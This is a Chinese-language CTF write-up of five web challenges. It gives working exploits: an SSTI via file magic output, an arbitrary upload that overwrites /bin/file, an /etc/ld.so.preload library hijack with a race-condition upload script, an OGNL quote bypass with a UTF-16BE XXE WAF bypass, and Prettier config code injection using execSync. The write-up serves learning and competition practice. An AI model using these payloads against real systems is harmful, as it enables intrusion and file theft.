filechecker_mini
给了源码,审计下
发现这里对 /bin/file
命令执行后的结果使用了 render_template_string
函数进行了渲染,存在ssti
现在是如何让 /bin/file -b
检验出的文件类型结果是我们可以字定义的字符串。
github上找到了 file
命令的源码,然后也简单了解了下 file
命令对应的magic文件。刚开始想歪了,因为可以跨目录上传文件,然后就想着向 $HOME/
目录下上传一个自定义的 magic
文件来实现目的,但其实走偏了。
源码里的 magic/tests
目录下是大量的测试文件,批量测试下发现可以这样插入我们想要的字符串 (其实简单阅读下他这个magic文件也可以发现有很多文件类型都可以达到这样的目的,magic文件了对应有 %s
输出的。)
拓展阅读(题外话):
https://blog.csdn.net/sin90lzc/article/details/8575022
https://www.cnblogs.com/ddk3000/p/5051094.html
https://www.ibm.com/docs/en/zos/2.4.0?topic=formats-magic-format-etcmagic-file
那么SSTI然后RCE
filechecker_plus
和上一题不一样的地方
将 render_template_string
函数换成了 render_template
,没办法SSTI了。
这里我当时确实不知道这个点,重点在 os.path.join
这个函数
官方文档 中说到
os.path.join(path, *paths)
智能地拼接一个或多个路径部分。 返回值是 path 和 *paths 的所有成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个部分除外,这意味着如果最后一个部分为空,则结果将以分隔符结尾。 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。
在 Windows 上,遇到绝对路径部分(例如
r'\foo'
)时,不会重置盘符。如果某部分路径包含盘符,则会丢弃所有先前的部分,并重置盘符。请注意,由于每个驱动器都有一个“当前目录”,所以os.path.join("c:", "foo")
表示驱动器C:
上当前目录的相对路径 (c:foo
),而不是c:\foo
。
注意这里 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。
那么如果我么上传的文件名是绝对路径的话,前面的部分丢弃,直接就是我绝对路径的结果
而这里的逻辑
文件名不存在 ..
所以可以成功覆盖 /bin/file
文件。
注意:这里上传可执行的二进制文件,不然 (也可能是我这边的问题)后来发现是bp的问题,在bp里要把多余的 subprocess.check_output
是没法执行的\r
去掉才行。。
#include <stdlib.h>
int main() {
system("cat /flag");
return 0;
}
linux下编译,然后上传执行拿到flag
这里有坑,以后上传二进制文件不要用 burp suite 做代理,会损坏二进制文件的(可能是我bp有问题吧)
import requests
url = "http://159.138.110.192:23002/"
with open("./shell", "rb") as f:
file = {"file-upload": ("/bin/file", f)}
res = requests.post(url, files=file)
print(res.text)
filechecker_pro_max
和plus不一样的地方
这里没法像上一个那样覆盖 /bin/file
了。
然后没啥思路,赛后复现
前置知识
- 使用
strace
命令查看系统调用。
这题看上去确实没啥漏洞利用点,所以这个 /bin/file
的可执行文件应该有古怪的,分析这个要么找源码分析,要么用 strace
命令看看它有那些系统调用,也许调用了某个动态链接库的函数,从而上传有关动态链接库来达到目的。
/etc/ld.so.preload
(默认配置文件)
参考文章 https://payloads.online/archivers/2020-01-01/1/
https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/
通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。
Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和 默认配置文件
/etc/ld.so.preload
,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload
配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。
dlsym是一个计算机函数,功能是根据动态链接库操作句柄与符号,返回符号对应的地址,不但可以获取函数地址,也可以获取变量地址
劫持
whoami
#include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> int puts(const char *message) { int (*new_puts)(const char *message); int result; new_puts = dlsym(RTLD_NEXT, "puts"); // do some thing … // 这里是puts调用之前 result = new_puts(message); // 这里是puts调用之后 return result; }
示例
例如我们要劫持 whoami
命令
strace /bin/whoami
发现确实会加载 /etc/ld.so.preload
配置文件来加载动态链接库
上传配置文件 /etc/ld.so.preload :
/tmp/poc.so
由于 whoami
底层会调用 puts
函数输出,可以劫持这个函数
hook.c :
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
printf("hack you!!!");
system("id");
return 0;
}
编译
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
将 poc.so
上传至 /tmp/poc.so
执行 whoami
命令
成功劫持 whoami
命令
题解
这题也是同样的道理,/etc/ld.so.preload
文件默认是没有的,先查看下 /bin/file
是否会加载 /etc/ld.so.preload
配置文件
strace /bin/file
可以看到确实是这样的。
在找找 /bin/file
这个可执行文件可以劫持哪些函数
直接看源码 https://github.com/file/file
file.c 中的main
函数中随便找个函数劫持就行,这里找的是 magic_version()
,没有参数,方便
hook.c :
#include <stdlib.h>
void magic_version() {
system("cat /flag");
}
编译
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
然后就上传 /etc/ld.so.preload
(内容:/tmp/hook.so
) 和 /tmp/hook.so
本地测试成功劫持
本题由于上传的两个文件保存后会被删除,所以还要条件竞争下。
exp :
import requests
import threading
import re
url = "http://140.210.199.170:33001/"
def upload1():
file = {"file-upload": ("/etc/ld.so.preload", open("./ld.so.preload", "r"))}
res = requests.post(url, files=file)
print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
def upload2():
file = {"file-upload": ("/tmp/hook.so", open("./hook.so", "rb"))}
res = requests.post(url, files=file)
print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
if __name__ == "__main__":
for i in range(100):
threading.Thread(target=upload1).start()
threading.Thread(target=upload2).start()
这里我用bp尝试条件竞争上传,失败了,我的burp果然是有问题的,上传不了二进制文件。
ezbypass
java题,当时做的时候卡在了 OGNL 表达式注入上了。
为了方便调试我把源码搬过来又重新构建了项目
过滤器这里没什么好说的,直接 /index;.ico
绕过就行,具体原理我以前分析过,可参考 https://pankas.top/2022/11/18/springboot%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-%E8%80%81%E7%89%88newbeemall%E5%AE%A1%E8%AE%A1/#%E8%B6%8A%E6%9D%83
然后是SQL注入这里,这里直接ban掉了 '
,似乎没啥办法,但注意到项目使用了 mybatis 框架
mybatis是支持 OGNL 表达式的,有关 OGNL 表达式语法参考 https://cloud.tencent.com/developer/article/1554322
所以这里存在 OGNL 表达式注入
利用
${@java.lang.Character@toString(39)}
绕过即可
然后是XXE读文件,这里有waf
public static boolean check(byte[] poc) throws Exception {
String str = new String(poc);
String[] blacklist = new String[]{"!DOCTYPE", new String(new byte[]{-2, -1}), new String(new byte[]{-1, -2})};
String[] var3 = blacklist;
int var4 = blacklist.length;
for(int var5 = 0; var5 < var4; ++var5) {
String black = var3[var5];
if (str.indexOf(black) != -1) {
System.out.println("not allow");
return false;
}
}
return true;
}
参考 https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/
An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC.
With the help of such encodings, it is easy to bypass a WAF using regular expressions since, in this type of WAF, regular expressions are often configured only for a one-character set.
可利用 UTF-16BE
编码绕过
后续利用反射继 续 将 解 析 出 来 的 字 节 数 组 使 用 ByteArrayInputStream
转 换 为 输 入 流 , 然 后 使 用 org.xml.sax.InputSource
转换为 xml 可识别的格式。
简单分析下反射这部分逻辑(正好复习下反射):
就直接写到注释里了
public static String xxe(String b64poc, String type, String[] classes) throws Exception {
String res = "";
byte[] bytepoc = Base64.getDecoder().decode(b64poc);//获取到的是字节数组
if (check(bytepoc)) {//要绕过 check 的waf检测,可利用UTF-16编码绕过
//创建XML文档对象
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
InputSource inputSource = null;
Object wrappoc = null;
//利用反射获取一个我们自定义的构造器,需要一个 ByteArrayInputStream 的对象
//classes[0] 应为 java.io.ByteArrayInputStream , classes[1] 应为 byte数组类型的类名 B[
Constructor constructor = Class.forName(classes[0]).getDeclaredConstructor(Class.forName(classes[1]));
if (type.equals("string")) {
String stringpoc = new String(bytepoc);
wrappoc = constructor.newInstance(stringpoc);
} else {
wrappoc = constructor.newInstance(bytepoc);//要获得 ByteArrayInputStream 对象
}
//获得一个InputSource的构造器 classes[2] 为 org.xml.sax.InputSource,该构造器参数为抽象类 InputStream
//classes[3] 为 抽象类InputStream 的子类 ByteArrayInputStream
inputSource = (InputSource)Class.forName(classes[2]).getDeclaredConstructor(Class.forName(classes[3])).newInstance(wrappoc);
Document doc = builder.parse(inputSource);
NodeList nodes = doc.getChildNodes();
for(int i = 0; i < nodes.getLength(); ++i) {
if (nodes.item(i).getNodeType() == 1) {
res = res + nodes.item(i).getTextContent();
System.out.println(nodes.item(i).getTextContent());
}
}
}
return res;
}
exp :
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception{
String poc = "<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM \"file:///flag\">]><abc>&xxe;</abc>";
byte[] pocBytes = poc.getBytes(StandardCharsets.UTF_16BE);
String encodedPoc = Base64.getEncoder().encodeToString(pocBytes);
System.out.println(encodedPoc);
}
}
payload :
/index;.ico?password=a${@java.lang.Character@toString(39)}) OR 1#&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA+ADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA+ACYAeAB4AGUAOwA8AC8AYQBiAGMAPg==
&type=aaa&yourclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream
url编码下发送
/index;.ico?password=a%24%7B%40java.lang.Character%40toString(39)%7D)%20OR%201%23&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA%2BADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA%2BACYAeAB4AGUAOwA8AC8AYQBiAGMAPg%3D%3D
&type=aaa&yourclasses=java.io.ByteArrayInputStream%2C%5BB%2Corg.xml.sax.InputSource%2Cjava.io.InputStream
还有上面反射调用的那个 B[
是 byte[]
的类名,这里记录下
PrettierOnline
一个在线美化 js 的在线小demo,题目给了源码,直接审计代码即可
我们访问的主程序程序是将我们给的code放到一个 .prettierrc
文件中,然后挂载到docker容器中,docker中的应用会读取这个配置文件。容器中的容器使用了 prettier
这个库,容器中的程序是读取我们给的 prettier
配置来对当前程序的代码进行美化,然后写入到 ret.js
中。最后我们访问的主程序会读取 ret.js
文件然后返回读取到的内容。
有关 nodejs 里使用 prettier
库可以参加 https://www.prettier.cn/docs/api.html
我们可以控制 prettier
库的配置文件,所以大概率是利用这里配置文件了。
注意到 prettier 的插件功能,引用插件可以自定义执行代码。
参考 https://www.prettier.cn/docs/plugins.html
还要注意的是,prettier
的配置文件解析器是 cosmiconfig
官方文档
https://prettier.io/docs/en/configuration.html
那么不只是josn,yaml格式的也是可以的,而 ymal 格式的 xxx: console.log('aa');
在js中是合乎语法的代码。那么可以注入代码。
poc: global.process.mainModule.constructor._load("child_process").execSync("sleep 10");
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
- ".prettierrc"
发送,发现延时了10秒左右,说明是可以注入代码的,但目标靶机不出网,没法外带flag。
ps:这里浅浅记录下nodejs中绕过沙箱的方法(这个通过这个方法可以直接 bypass 那个 fw.js)global.process.mainModule.constructor._load('child_process').execSync('calc');
参考https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/
不出网的解决方案有许多
可以这样,直接重写 writeFIleSync 方法,执行/readflag
命令 ,将结果写入到到ret.js中。:
exp: var write=global.process.mainModule.constructor._load('fs').writeFileSync;global.process.mainModule.constructor._load('fs').writeFileSync=function(a,b,c){if(a=='./dist/ret.js'){return write(a,global.process.mainModule.constructor._load('child_process').execSync('/readflag').toString(),c);}return write(a,b,c)}
plugins:
- ".prettierrc"
也可以像别的师傅那样直接修改 waf,把修改 RegExp.prototype.test 改下
exploit: RegExp.prototype.oldTest = RegExp.prototype.test; RegExp.prototype.test = function(x){if (this.toString() == "/fs|path|util|os/"){return true}; return this.oldTest(x)}; require("fs").writeFileSync("dist/ret.js", require("child_process").execSync("/readflag")); var old = require("fs").writeFileSync; require("fs").writeFileSync = function(file, content){if(!file.endsWith("ret.js"))old(file, content)};
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
- ".prettierrc"
其他各种payload
https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2022/prettieronline
https://blog.huli.tw/2022/12/14/rctf-2022-writeup/
https://hackmd.io/@94y7q597ST2hNdB9lbTJhA/S1wJr4Bds#PrettierOnline